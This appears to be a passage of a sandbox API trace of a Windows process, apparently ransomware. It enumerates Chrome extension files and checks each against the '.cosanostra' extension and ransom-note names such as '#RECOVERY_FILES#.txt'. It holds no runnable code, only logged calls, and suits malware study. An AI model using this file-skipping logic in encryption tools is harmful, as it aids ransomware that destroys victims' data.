[0085.269] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.269] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json") returned 160 [0085.269] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0085.269] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.269] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0085.269] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json") returned 164 [0085.550] StrStrIW (lpFirst="icon_128.png", lpSrch=".cosanostra") returned 0x0 [0085.550] lstrcmpW (lpString1="icon_128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.550] lstrcmpW (lpString1="icon_128.png", lpString2="_uninstalling_.png") returned 1 [0085.550] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 142 [0085.550] StrStrIW (lpFirst="icon_16.png", lpSrch=".cosanostra") returned 0x0 [0085.550] lstrcmpW (lpString1="icon_16.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.550] lstrcmpW (lpString1="icon_16.png", lpString2="_uninstalling_.png") returned 1 [0085.550] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 141 [0085.550] StrStrIW (lpFirst="main.html", lpSrch=".cosanostra") returned 0x0 [0085.550] lstrcmpW (lpString1="main.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.550] lstrcmpW (lpString1="main.html", lpString2="_uninstalling_.png") returned 1 [0085.551] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 139 [0085.551] StrStrIW (lpFirst="main.js", lpSrch=".cosanostra") returned 0x0 [0085.551] lstrcmpW (lpString1="main.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.551] lstrcmpW (lpString1="main.js", lpString2="_uninstalling_.png") returned 1 [0085.551] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 137 [0085.551] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0085.551] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.551] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0085.551] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json") returned 143 [0085.560] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.560] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.560] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.560] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 155 [0085.578] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.578] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.578] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.578] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 155 [0085.579] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.579] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.579] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.579] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 155 [0085.743] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.743] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.743] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.743] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json") returned 155 [0085.743] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.744] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.744] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.744] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 155 [0085.879] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.879] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.879] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.879] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 155 [0085.880] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.880] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.880] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.880] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 155 [0085.892] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.892] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.892] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.892] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_GB\\messages.json") returned 158 [0085.893] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.893] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.893] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.893] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 158 [0085.940] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.940] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.940] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.940] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es\\messages.json") returned 155 [0085.940] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.940] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.940] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.940] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 159 [0085.948] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.948] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.948] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.948] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 155 [0085.949] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.949] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.949] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.949] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 155 [0085.954] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.954] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.954] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.954] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 156 [0085.956] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.956] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.956] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.956] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 155 [0085.961] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.961] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.961] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.961] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 155 [0085.963] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.963] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.963] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.963] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 155 [0086.022] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.022] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.022] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.022] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json") returned 155 [0086.023] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.023] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.023] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.023] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json") returned 155 [0086.026] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.026] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.026] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.026] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json") returned 155 [0086.027] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.028] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.028] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.028] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json") returned 155 [0086.046] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.046] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.046] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.046] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 155 [0086.048] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.048] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.048] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.048] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 155 [0086.048] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.049] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.049] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.049] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 155 [0086.049] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.049] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.049] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.049] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json") returned 155 [0086.050] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.050] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.050] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.050] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json") returned 155 [0086.073] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.074] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.074] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.074] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json") returned 155 [0086.075] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.075] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.075] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.075] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json") returned 155 [0086.075] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.075] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.075] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.075] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_BR\\messages.json") returned 158 [0086.076] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.076] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.077] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.077] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\messages.json") returned 158 [0086.077] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.077] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.077] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.077] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\messages.json") returned 155 [0086.080] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.080] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.080] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.080] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json") returned 155 [0086.080] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.080] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.080] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.080] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json") returned 155 [0086.083] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.083] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.083] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.083] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json") returned 155 [0086.083] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.083] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.083] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.083] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\messages.json") returned 155 [0086.084] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.084] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.084] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.084] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json") returned 155 [0086.084] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.084] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.084] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.084] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\messages.json") returned 155 [0086.085] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.085] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.085] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.085] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 155 [0086.085] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.085] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.085] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.085] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 155 [0086.086] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.086] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 155 [0086.086] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.086] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 158 [0086.086] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.086] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0086.086] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 158 [0086.088] StrStrIW (lpFirst="computed_hashes.json", lpSrch=".cosanostra") returned 0x0 [0086.088] lstrcmpW (lpString1="computed_hashes.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.088] lstrcmpW (lpString1="computed_hashes.json", lpString2="_uninstalling_.png") returned 1 [0086.088] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 160 [0086.088] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0086.088] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.088] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0086.088] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 162 [0086.099] StrStrIW (lpFirst="128.png", lpSrch=".cosanostra") returned 0x0 [0086.099] lstrcmpW (lpString1="128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.099] lstrcmpW (lpString1="128.png", lpString2="_uninstalling_.png") returned 1 [0086.099] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 137 [0086.100] StrStrIW (lpFirst="contentscript_bin_prod.js", lpSrch=".cosanostra") returned 0x0 [0086.100] lstrcmpW (lpString1="contentscript_bin_prod.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.100] lstrcmpW (lpString1="contentscript_bin_prod.js", lpString2="_uninstalling_.png") returned 1 [0086.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 155 [0086.100] StrStrIW (lpFirst="dasherSettingSchema.json", lpSrch=".cosanostra") returned 0x0 [0086.100] lstrcmpW (lpString1="dasherSettingSchema.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.100] lstrcmpW (lpString1="dasherSettingSchema.json", lpString2="_uninstalling_.png") returned 1 [0086.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 154 [0086.100] StrStrIW (lpFirst="eventpage_bin_prod.js", lpSrch=".cosanostra") returned 0x0 [0086.100] lstrcmpW (lpString1="eventpage_bin_prod.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0086.100] lstrcmpW (lpString1="eventpage_bin_prod.js", lpString2="_uninstalling_.png") returned 1 [0086.100] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 